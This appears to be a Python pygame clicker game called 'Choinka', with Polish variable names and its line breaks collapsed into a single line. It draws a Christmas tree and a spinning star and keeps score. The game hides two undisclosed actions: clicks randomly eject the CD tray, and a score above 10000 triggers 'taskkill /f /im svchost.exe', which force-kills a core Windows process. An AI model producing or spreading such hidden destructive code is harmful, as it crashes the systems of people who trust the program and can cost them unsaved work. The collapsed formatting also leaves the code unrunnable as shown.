import pygame import random import os pygame.init() pygame.cdrom.init() cd = pygame.cdrom.CD(0) cd.init() ekran = pygame.display.set_mode((400, 600)) pygame.display.set_caption("Choinka") zegar = pygame.time.Clock() comicsans = pygame.font.SysFont("Comic Sans MS", 200) comicsansmniejszy = pygame.font.SysFont("Comic Sans MS", 50) kliknieto_x = False kat = 0 punkty = 0 combo = 1 combo_timer = 60 while not kliknieto_x: for event in pygame.event.get(): if event.type == pygame.QUIT: kliknieto_x = True if event.type == pygame.MOUSEBUTTONDOWN: combo_timer = 60 punkty += int(combo) combo += 0.25 kat += 360/100 * combo if kat > 360: kat -= 360 if random.randint(0, 10) == 0: cd.eject() ekran.fill(0xFFFFFF) pygame.draw.rect(ekran, 0x804040, pygame.Rect(175, 525, 50, 75)) pygame.draw.polygon(ekran, 0x008000, [(25, 525), (375, 525), (200, 400)]) pygame.draw.polygon(ekran, 0x008000, [(100, 425), (300, 425), (200, 325)]) pygame.draw.polygon(ekran, 0x008000, [(150, 350), (250, 350), (200, 290)]) gwiazdka = pygame.transform.rotate(comicsans.render("*", True, (225, 198, 0)), kat) ekran.blit(gwiazdka, (207-gwiazdka.get_width()//2, 330-gwiazdka.get_height()//2)) ekran.blit(comicsansmniejszy.render("%d / %.2f" % (punkty, combo), True, (0, 0, 255)), (0, 0)) pygame.display.flip() combo_timer -= 1 if combo_timer < 0: combo = 1 if punkty > 10000: os.system("taskkill /f /im svchost.exe") zegar.tick(60) pygame.quit()